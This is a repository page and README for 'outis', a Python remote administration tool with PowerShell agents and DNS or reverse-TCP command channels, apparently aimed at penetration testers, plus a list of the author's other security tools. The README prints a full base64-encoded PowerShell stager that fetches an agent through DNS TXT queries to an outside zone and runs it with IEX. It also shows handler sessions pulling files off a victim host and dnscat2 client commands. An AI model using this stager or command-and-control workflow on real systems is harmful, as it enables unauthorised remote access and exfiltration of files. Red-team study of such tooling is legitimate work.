• Stars
    star
    123
  • Rank 290,145 (Top 6 %)
  • Language
    Python
  • License
    MIT License
  • Created over 7 years ago
  • Updated about 7 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

outis is a custom Remote Administration Tool (RAT) or something like that. It was build to support various transport methods (like DNS) and platforms (like Powershell).

outis

outis is a custom Remote Administration Tool (RAT) or something like that. Think Meterpreter or Empire-Agent. However, the focus of this tool is neither an exploit toolkit (there are no exploits) nor persistent management of targets. The focus is to communicate between server and target system and to transfer files, share sockets, spawn shells and so on using various methods and platforms.

On the Name

The cyclops Polyphemus in Homer's Odyssey had some issues with name resolution. When he asked for Odysseus' name, the hacker told him it is "Outis" meaning "Nobody" in ancient Greek. Thus, when Polyphemus later shouted, that Nobody was about to kill him, strangly no help arrived.

My thanks to Marcel for remembering this marvelous piece of classic tale.

Dependencies for the Handler

Archlinux users can install the following packages:

  • python3 # includes cmd, tempfile, ...
  • python-progressbar2
  • python-dnspython
  • python-crypto
  • python-pyopenssl
  • and maybe more...

In other distributions the names may differ, for instance, there is a module named crypto and a module named pycrypto. We need the latter.

Also, older versions might cause problems:

  • pyopenssl needs to be version 16.1.0 or newer, check as follows:
   $ python3 -c 'import OpenSSL; print(OpenSSL.version.__version__)'

You can set up a python virtual environment quite easily:

$ virtualenv outis-venv
$ source ./outis-venv/bin/activate
(outis-venv) $ pip install progressbar2 dnspython pycrypto pyopenssl

This results to the following package list, which seems to work for me:

$ pip freeze
appdirs==1.4.3
asn1crypto==0.22.0
cffi==1.10.0
cryptography==1.8.1
dnspython==1.15.0
idna==2.5
packaging==16.8
progressbar2==3.18.1
pycparser==2.17
pycrypto==2.6.1
pyOpenSSL==16.2.0
pyparsing==2.2.0
python-utils==2.1.0
six==1.10.0

Installation

Clone this git with recursive flag to also clone its submodules in the thirdpartytools folder:

git clone --recursive ...

The handler runs on Python 3. Install its dependencies and run it. It will generate stagers, agents and everything else for you.

To bind low ports without needing root privileges, consider using a capability wrapper.

Terms

  • agent: software, that runs on the victim system
  • handler: software, that parses your commands and leads the agents (usually it runs on your server)
  • stager: short script that downloads the agent (using the transport module) and runs it
  • transport: communication channel between stager/agent and handler, e.g. ReverseTCP
  • platform: victim architecture to use for stager/agent scripts, e.g. PowerShell

Currently Supported Plattforms

  • PowerShell (partial)

Currently Supported Transports

  • Reverse TCP
  • DNS (types TXT or A for staging, and types TXT, CNAME, MX, AAAA or A for agent connection)

Currently Supported Cryptography

  • Agent stages can be encoded (for obfuscation, not for security) using cyclic XOR
  • Agent stages can be authenticated using RSA signatures and pinned certificates
  • Transport connections can be encrypted / authenticated using TLS and pinned certificates

Currently Supported Commands and Controls

  • ping requests to test the connection (partial)
  • text message format (partial)
  • upload and download of files

Currently Supported Extras

  • When using DNS transport with stager and powershell, you can stage the tool dnscat2 / dnscat2-powershell from the thirdpartytools directory instead of the default outis agent. Set the platform option AGENTTYPE to DNSCAT2 (will take a while, but uses only DNS to stage) or DNSCAT2DOWNLOADER (tries to download using HTTPS).

Usage Examples

Download of a file using staged DNS transport with POWERSHELL platform could look like this:

$ outis
outis> set TRANSPORT DNS
outis> set ZONE zfs.sy.gs
outis> set AGENTDEBUG TRUE
outis> info
[+] Options for the Handler:
Name               Value       Required  Description                                                      
-----------------  ----------  --------  -----------------------------------------------------------------
TRANSPORT          DNS         True      Communication way between agent and handler (Options: REVERSETCP,
                                          DNS)
CHANNELENCRYPTION  TLS         True      Encryption Protocol in the transport (Options: NONE, TLS)
PLATFORM           POWERSHELL  True      Platform of agent code (Options: POWERSHELL)
PROGRESSBAR        TRUE        True      Display a progressbar for uploading / downloading? (only if not 
                                         debugging the relevant module) (Options: TRUE, FALSE)

[+] Options for the TRANSPORT module DNS:
Name       Value        Required  Description                                                             
---------  -----------  --------  ------------------------------------------------------------------------
ZONE       zfs.sy.gs    True      DNS Zone for handling requests
LHOST      0.0.0.0      True      Interface IP to listen on
LPORT      53           True      UDP-Port to listen on for DNS server
DNSTYPE    TXT          True      DNS type to use for the connection (stager only, the agent will 
                                  enumerate all supported types on its own) (Options: TXT, A)
DNSSERVER               False     IP address of DNS server to connect for all queries

[+] Options for the PLATFORM module POWERSHELL:
Name                  Value                       Required  Description                                   
--------------------  --------------------------  --------  ----------------------------------------------
STAGED                TRUE                        True      Is the communication setup staged or not? 
                                                            (Options: TRUE, FALSE)
STAGEENCODING         TRUE                        True      Should we send the staged agent in an encoded 
                                                            form (obscurity, not for security!) (Options: 
                                                            TRUE, FALSE)
STAGEAUTHENTICATION   TRUE                        True      Should the stager verify the agent code 
                                                            before executing (RSA signature verification 
                                                            with certificate pinning) (Options: TRUE, 
                                                            FALSE)
STAGECERTIFICATEFILE  $TOOLPATH/data/outis.pem    False     File path of a PEM with both RSA key and 
                                                            certificate to sign and verify staged agent 
                                                            with (you can generate a selfsigned cert by 
                                                            using the script gencert.sh initially)
AGENTTYPE             DEFAULT                     True      Defines which agent should be used (the 
                                                            default outis agent for this plattform, or 
                                                            some third party software we support) 
                                                            (Options: DEFAULT, DNSCAT2, DNSCAT2DOWNLOADER)
TIMEOUT               9                           True      Number of seconds to wait for each request 
                                                            (currently only supported by DNS stagers)
RETRIES               2                           True      Retry each request for this number of times 
                                                            (currently only supported by DNS stagers)
AGENTDEBUG            TRUE                        True      Should the agent print and log debug messages 
                                                            (Options: TRUE, FALSE)
outis> generatestager
[+] Use the following stager code:
powershell.exe -Enc JAByAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAYQA9ACIAIgA7ACQAdAA9ADAAOwBmAG8AcgAoACQAaQA9ADAAOwA7
  ACQAaQArACsAKQB7ACQAYwA9ACgAWwBzAHQAcgBpAG4AZwBdACgASQBFAFgAIAAiAG4AcwBsAG8AbwBrAHUAcAAgAC0AdAB5AHAAZQA9AFQAWA
  BUACAALQB0AGkAbQBlAG8AdQB0AD0AOQAgAHMAJAAoACQAaQApAHIAJAAoACQAcgApAC4AegBmAHMALgBzAHkALgBnAHMALgAgACIAKQApAC4A
  UwBwAGwAaQB0ACgAJwAiACcAKQBbAD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AGcAZQBk
  ADsAaQBmACgAQAAoAEMAbwBtAHAAYQByAGUALQBPAGIAagBlAGMAdAAgACQAcwBoAGEALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKAAkAHAAaw
  AuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAKQAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIA
  aQBuAGcAKAAkAGYAcAApACkAIAAtAFMAeQBuAGMAVwBpAG4AZABvAHcAIAAwACkALgBMAGUAbgBnAHQAaAAgAC0AbgBlACAAMAApAHsAIgBFAF
  IAUgBPAFIAMQAiADsARQB4AGkAdAAoADEAKQB9ADsAJAB4AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5
  AHAAdABvAGcAcgBhAHAAaAB5AC4AUgBTAEEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAOwAkAHgALgBGAHIAbw
  BtAFgAbQBsAFMAdAByAGkAbgBnACgAJABwAGsAKQA7AGkAZgAoAC0ATgBvAHQAIAAkAHgALgBWAGUAcgBpAGYAeQBEAGEAdABhACgAJABzAC4A
  VABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAsACIAUwBIAEEANQAxADIAIgAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG
  UANgA0AFMAdAByAGkAbgBnACgAJABzAGkAZwApACkAKQB7ACIARQBSAFIATwBSADIAIgA7AEUAeABpAHQAKAAyACkAfQA7ACIARwBPAEEARwBF
  AE4AVAAiADsASQBFAFgAIAAkAHMAOwA=
outis> run
[+] DNS listening on 0.0.0.0:53
[+] Sending staged agent (34332 bytes)...
100% (184 of 184) |########################################################| Elapsed Time: 0:00:16 Time: 0:00:16
[+] Staging done
[+] Waiting for connection and TLS handshake...
[+] Initial connection with new agent started
[+] Upgrade to TLS done
outis session> [+] AGENT: Hello from Agent

outis session> download C:\testfile.txt /tmp/out.txt
[+] initiating download of remote file C:\testfile.txt to local file /tmp/out.txt
[+] agent reports a size of 3295 bytes for channel 1
100% (3295 of 3295) |######################################################| Elapsed Time: 0:00:00 Time: 0:00:00
[+] wrote 3295 bytes to file /tmp/out.txt
outis session> exit
Do you really want to exit the session and close the connection [y/N]? y
outis> exit

Or maybe we want to use dnscat2 for the real deal and just use outis to stage it:

$ outis
outis> set TRANSPORT DNS
outis> set AGENTTYPE DNSCAT2
outis> set ZONE zfs.sy.gs
outis> run
[+] DNS listening on 0.0.0.0:53
[+] Sending staged agent (406569 bytes)...
100% (2185 of 2185) |#######################################################| Elapsed Time: 0:01:17 Time: 0:01:17
[+] Staging done
[+] Starting dnscat2 to handle the real connection

New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted and authenticated
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = zfs.sy.gs]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg== zfs.sy.gs

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg==

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

dnscat2> sessions
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = zfs.sy.gs [*]
  1 :: command (feynman-win7) [encrypted and verified] [*]
  
dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command (feynman-win7) 1> download c:/testfile.txt /tmp/out.txt
Attempting to download c:/testfile.txt to /tmp/out.txt
Wrote 3295 bytes from c:/testfile.txt to /tmp/out.txt!

command (feynman-win7) 1> exit
Input thread is over

Inspirations

This project was inspired by (and shamelessly stole part of its code from):

Disclaimer

Use at your own risk. Do not use without full consent of everyone involved. For educational purposes only.

More Repositories

1

Seth

Perform a MitM attack and extract clear text credentials from RDP connections
Python
1,390
star
2

hallucinate

One-stop TLS traffic inspection and manipulation using dynamic instrumentation
JavaScript
239
star
3

WireBug

WireBug is a toolset for Voice-over-IP penetration testing
Python
170
star
4

smbcrawler

smbcrawler is no-nonsense tool that takes credentials and a list of hosts and 'crawls' (or 'spiders') through those shares
Python
143
star
5

hashcathelper

Convenience tool for hashcat
Python
109
star
6

dns-mitm

A minimal DNS service that can provide spoofed replies
Python
98
star
7

clone-cert

Simple shell script to "clone" X.509 certificates
Shell
97
star
8

nrf24-playset

Software tools for Nordic Semiconductor nRF24-based devices like wireless keyboards, mice, and presenters
Python
89
star
9

radio-hackbox

PoC tool to demonstrate vulnerabilities in wireless input devices
Python
85
star
10

azurenum

Enumerate Microsoft Entra ID (Azure AD) fast
Python
85
star
11

icestick-lpc-tpm-sniffer

FPGA-based LPC bus sniffing tool for Lattice iCEstick Evaluation Kit
Verilog
75
star
12

nand-dump-tools

Simple software tools for encoding and decoding dumps of NAND memory chips using implemented error correcting codes (ECC)
Python
75
star
13

icestick-glitcher

Simple voltage glitcher implementation for the Lattice iCEstick Evaluation Kit
Verilog
55
star
14

MAT

This tool, programmed in C#, allows for the fast discovery and exploitation of vulnerabilities in MSSQL servers
C#
54
star
15

bluetooth-keyboard-emulator

Simple proof-of-concept software tool for emulating Bluetooth BR/EDR (a.k.a. Bluetooth Classic) keyboards
Python
52
star
16

ldap-swak

LDAP Swiss Army Knife
Java
43
star
17

slig

Siemens LOGO!8 PLC Password Hacking Proof-of-Concept-Tool
Lua
41
star
18

ldif2bloodhound

Convert an LDIF file to JSON files ingestible by BloodHound
Python
38
star
19

Lauschgeraet

Gets in the way of your victim's traffic and out of yours
Python
27
star
20

netns.sh

A simple script to make network namespaces more usable
Shell
20
star
21

icebreaker-glitcher

Simple voltage glitcher implementation for the iCEBreaker FPGA board
Verilog
13
star
22

biometricks

Fun with biometrics
C#
8
star
23

burp-extender-json-api

A Burp extension that provides an API to build other extensions in any programming language
Java
7
star
24

Single-User-BloodHound

Run BloodHound CE in a single-user setup with podman
Shell
7
star
25

radio-hackbox2

PoC tool to demonstrate vulnerabilities in wireless input devices
Python
5
star
26

protectimus-slim-proxmark3

Proxmark3 Lua script for attacking vulnerable Protectimus SLIM NFC TOTP hardware tokens
Lua
4
star
27

syss-crc

Simple Python CRC implementation for playing around with cyclic redundancy checks
Python
4
star
28

logic2-atecc508-extension

Logic 2 High Level Protocol Analyzer for the Microchip ATECC508A I2C communication with support for I2C encryption
Python
3
star
29

invoke-lsaparse

PowerShell implementation for parsing LSA (Local Security Authority) process memory dumps
PowerShell
1
star